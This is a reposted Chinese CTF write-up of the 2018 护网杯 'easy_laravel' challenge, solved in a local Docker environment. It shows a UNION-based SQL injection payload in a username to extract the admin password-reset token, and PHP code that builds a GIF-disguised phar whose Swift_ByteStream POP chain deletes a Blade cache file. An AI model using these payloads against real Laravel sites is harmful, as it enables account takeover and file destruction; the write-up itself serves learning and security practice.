护网杯2018 easy_laravel 复盘

栏目: PHP · 发布时间: 7年前

内容简介:感觉这道题,出的,非常妙参考出题人的博客 https://qvq.im/post/%E6%8A%A4%E7%BD%91%E6%9D%AF2018%20easy_laravel%E5%87%BA%E9%A2%98%E8%AE%B0%E5%BD%95但是自己太菜了。只能跟着大佬的步伐在后头摸索

零 前言

感觉这道题,出的,非常妙

参考出题人的博客 https://qvq.im/post/%E6%8A%A4%E7%BD%91%E6%9D%AF2018%20easy_laravel%E5%87%BA%E9%A2%98%E8%AE%B0%E5%BD%95

但是自己太菜了。只能跟着大佬的步伐在后头摸索

1. 安装

git clone https://github.com/sco4x0/huwangbei2018_easy_laravel
docker build

之后我在dockerUI里面启动了。没有什么问题,感谢出题人提供环境

2. 基本知识点

说实话我也没有如何用过composer

唯一的时间就是研究 jwt 的时候用composer下了些第三方库

一. 基础审计工作

登录页面F12拿部分源码

<!-- https://github.com/qqqqqqvq/easy_laravel -->

之后composer install 。代码就完整了。

php astrisan route:list 看一波路由。当然route部分也可以看到。

护网杯2018 easy_laravel 复盘

也许HTTP的文件夹就类似于django的app文件夹。里面放了相关的中间件。同时也可以看到一些权限控制的内容。

admin中间件

在adminMiddleware 的地方,可以找到admin的中间件,判断条件是admin的邮箱是否为admin@qvq.im。

public function handle($request, Closure $next)
    {
        if ($this->auth->user()->email !== 'admin@qvq.im') {

register控件

在registerController 的地方,可以找到注册的步骤,可以看到密码是被特殊加密过的,显然不可能通过注入来找到原来的密码

protected function create(array $data)
    {
        return User::create([
            'name' => $data['name'],
            'email' => $data['email'],
            'password' => bcrypt($data['password']),
        ]);
    }

SQL注入

在noteController 的地方,可以找到一个很明显的 sql 注入,通过注入 admin'# 的用户名即可在查询的时候查到admind的内容

    public function index(Note $note)
    {
        $username = Auth::user()->name;
        $notes = DB::select("SELECT * FROM `notes` WHERE `author`='{$username}'");
        return view('note', compact('notes'));
    }
}

重置密码的操作

这里要跟踪看 laravel 的源码

public function showResetForm(Request $request, $token = null)
    {
        return view('auth.passwords.reset')->with(
            ['token' => $token, 'email' => $request->email]
        );
    }

需要email 和 token 才行。token放在password_reset里面,email在注册的时候有。那么是如何重置的呢?

当点击重置的时候会触发 resetPasswordController

use SendsPasswordResetEmails;

护网杯2018 easy_laravel 复盘 在检测是否存在后会返回token并写入库中

protected function getPayload($email, $token)
{
    return ['email' => $email, 'token' => $token, 'created_at' => new Carbon];
}

数据库结构

在database的文件夹下可以找到数据库的自动化生成文件。(这个和django比较类似—)

不过有坑点是这里的列名和实际环境中的不太一致

user 6列

Schema::create('users', function (Blueprint $table) {
            $table->increments('id');
            $table->string('name');
            $table->string('email')->unique();
            $table->string('password');
            $table->rememberToken();
            $table->timestamps();
        });

password reset 3列

Schema::create('password_resets', function (Blueprint $table) {
            $table->string('email')->index();
            $table->string('token')->index();
            $table->timestamp('created_at')->nullable();
        });

note 4列

Schema::create('notes', function (Blueprint $table) {
            $table->increments('id');
            $table->string('content');
            $table->string('author');
            $table->timestamps();
        });

二. SQL注入拿管理员token

OK 现在目标很明确了,通过注入拿到管理员的token和email就可以了,那么如何拿呢?

首先,如果直接注入,注册用户

admin' or 1=2 union select 1,(select group_concat(token from password_resets),3,4,5#

是无法拿到token的。很简单,你还没发token了嘛~(由于没截图所以直接说了。)

是很简单,这里需要先登录出去,然后用admin的邮箱发一个resetpassword 的邮件,当然这会返回错误,因为这个 docker 不可能有邮箱功能,有也收不到。

不过token已经入数据库了,此时将token就可以注入出来了。

f8f63b51d1fe1616f1f12661c78a8a8cd25d2e58ae2466631649f6e6bc258c21

之后根据路由表,访问

/password/reset/<token>的链接

即可重置密码,第一部分结束

护网杯2018 easy_laravel 复盘

三. blade 模板

nginx的默认配置

之前用假的admin身份登录的时候有个一个信息也很gau关键

nginx是坠吼的 ( 好麻烦,默认配置也是坠吼的

代表着nginx用的默认配置,或者说web的根目录是

/usr/share/nginx/html
# 验证一下确实如此
root@shaobao-Precision-3510:~# docker exec 2230145add77 ls /usr/share/nginx/html/
app
artisan
bootstrap
composer.json
composer.lock

flag没了?

之前,在flagController中,有这样的内容;而view中的模板会将flag的内容打印出来。

public function showFlag()
    {
        $flag = file_get_contents('/th1s1s_F14g_2333333');
        return view('auth.flag')->with('flag', $flag);
    }

也就意味着,原本点击flag的内容,应该就会直接出现flag。但是这里并非如此,而是显示no flag

护网杯2018 easy_laravel 复盘

blade 模板 与 缓存

根据提示的内容,不难发现是缓存文件在作怪。

护网杯2018 easy_laravel 复盘

题目给出了提示是pop chain | blade expired | blade 模板

Blade 是 laravel 提供的一个简单强大的模板引擎。它不像其他流行的 PHP 模板引擎那样限制你在视图中使用原生的 PHP 代码,事实上它就是把 Blade 视图编译成原生的 PHP 代码并缓存起来。缓存会在 Blade 视图改变时而改变,这意味着 Blade 并没有给你的应用添加编译的负担。

引用出题人的话,就是说:

在 laravel 中,模板文件是存放在 resources/views 中的,然后会被编译放到 storage/framework/views中,而编译后的文件存在过期的判断。

而在 Illuminate/View/Compilers/Compiler.php 中可以看到

/**
 * Determine if the view at the given path is expired.
 *
 * @param  string  $path
 * @return bool
 */
public function isExpired($path)
{
    $compiled = $this->getCompiledPath($path);

    // If the compiled file doesn't exist we will indicate that the view is expired
    // so that it can be re-compiled. Else, we will verify the last modification
    // of the views is less than the modification times of the compiled views.
    if (! $this->files->exists($compiled)) {
        return true;
    }

    $lastModified = $this->files->lastModified($path);

    return $lastModified >= $this->files->lastModified($compiled);
}

对此,我特地去看了看docker里的缓存文件到底是什么。很显然,其内容就是no flag。造成这样的原因,就是有这个缓存文件的存在,覆盖了原本的flag.php

root@shaobao-Precision-3510:~# docker exec 2230145add77 cat  /usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php
<?php $__env->startSection('content'); ?>
<div class="container">
    <div class="row">
        <div class="col-md-8 col-md-offset-2">
            <div class="panel panel-default">
                <div class="panel-heading">Dashboard</div>
                <div class="panel-body">
                no flag
                </div>
            </div>
        </div>
    </div>
</div>
<?php $__env->stopSection(); ?>

<?php echo $__env->make('layouts.app', array_except(get_defined_vars(), array('__data', '__path')))->render(); ?>

那么这个文件名是从何而来的呢?

/vender/bootstrap/cache/compile.php 下,有告诉你这个是如何算出来的。

public function getCompiledPath($path)
    {
        return $this->cachePath . '/' . sha1($path) . '.php';
    }

而这个 path 就是模板文件的真实地址。实际上可以把它理解未django里面的template目录下,用jinja2语法写的模板文件。我们注意到,在给的代码中,其模板文件的地址是:

resources/views/auth/flag.blade.php

所以真实的文件路径应该是

/usr/share/nginx/html/resources/views/auth/flag.blade.php
sha1() ==> 
34e41df0934a75437873264cd28e2d835bc38772

OK 和我们之前docker中看的文件一致。

所以,总结下来,我们要做的事情如下

  • 通过upload 上传一个奇怪的东西
  • 通过这个奇怪的东西来删除缓存文件。

四. popchain 与 phar 伪协议

微笑老哥给我发东西的时候我正好做到这里,之前做WhaleCTF中级题目的时候。接触过phar的东西。在此不多赘述。

有兴趣的话,可以看看微笑的文章 https://www.liuxianglai.top/?p=364

我们知道 phaer 文件是以序列化形式存储的。当解析它的时候,必然会用到反序列化的一些魔术方法。受影响的函数包括

护网杯2018 easy_laravel 复盘

在uploader控件的地方,注意到一个函数。file_exsits 。这就是phar文件的跳板。

护网杯2018 easy_laravel 复盘
  • 尽管我们有代码了,并且已知上传路径了,但是文件是不可以直接访问的。因为这个php模板已经严格控制了路由。
  • 同时,我们注意到,有一个隐藏的path参数,可以让我们来控制 路由,
  • 另外检验文件类型的函数是获取文件头,这也是为什么之后的payload中要加入文件头的原因。
    护网杯2018 easy_laravel 复盘

OK,接下来是要去找哪里有删除的函数 unlink 或者 __destroy__ 了。

利用phpstrom全局搜索可以找到它。注意必须找到一个带有 删除文件功能的析构函数

护网杯2018 easy_laravel 复盘

OK 我们找到了 Swift_ByteStream_TemporaryFileByteStream 这个类,里面有让我们心动的__destruct和unlink函数。仿佛就是为这个题目量身定做的。

之后,我们生成一个 phar文件,别忘了开启php.ini中的设置

<?php
    include('autoload.php');
    $a = serialize(new Swift_ByteStream_TemporaryFileByteStream());
    var_dump(unserialize($a));
    var_dump($a); # 这个函数很有趣,$_path 也就是删除的目录是可以自己制定的,将这里面的内容换成我们想要的内容,就可以删掉flag的缓存文件。
    $a = preg_replace("/\/tmp\/FileByteStream[\w]{6}/","/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php", $a);
    $a = str_replace('s:25', 's:90', $a);
    # 这里将 _path 的内容修改掉
    $b = unserialize($a);
    $p = new Phar('./shell.phar', 0);
    $p->startBuffering();
    $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); # 改文件头
    $p->setMetadata($b);
    $p->addFromString('test.txt','text');
    $p->stopBuffering();
    rename('shell.phar', 'shell.gif')
?>

OK,这样我们就有一个phar文件了。虽然被限制了路由,但是可以通过真实的路由去访问它。

「这道题能不能webshell呢?」

我觉得不行,之前已经说过了。那个文件是不能通过web来访问的,包括资源也是。webshell也自然不行了。

五. char 协议删除模板文件

上传文件后,加入path参数来触发函数,即可完成删除。

护网杯2018 easy_laravel 复盘

注意最后的文件名是拼接的,实际的路径是

phar:///usr/share/nginx/html/storage/app/public/shell.gif

反序列化的过程中,触发了我们藏在里面的 析构函数,之后又删除了模板文件。

护网杯2018 easy_laravel 复盘

如你所见,现在的缓存模板被刷新了,flag就能正常显示了

root@shaobao-Precision-3510:~# docker exec 2230145add77 cat ./storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php
<?php $__env->startSection('content'); ?>
<div class="container">
    <div class="row">
        <div class="col-md-8 col-md-offset-2">
            <div class="panel panel-default">
                <div class="panel-heading">Dashboard</div>
                <div class="panel-body">
                    <?php echo e($flag); ?>

                </div>
            </div>
        </div>
    </div>
</div>
<?php $__env->stopSection(); ?>

<?php echo $__env->make('layouts.app', array_except(get_defined_vars(), array('__data', '__path')))->render(); ?>r

以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Neural Networks for Applied Sciences and Engineering

Neural Networks for Applied Sciences and Engineering

Samarasinghe, Sandhya / CRC Pr I Llc / 2006-9 / $ 118.59

In response to the exponentially increasing need to analyze vast amounts of data, Neural Networks for Applied Sciences and Engineering: From Fundamentals to Complex Pattern Recognition provides scient......一起来看看 《Neural Networks for Applied Sciences and Engineering》 这本书的介绍吧!

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具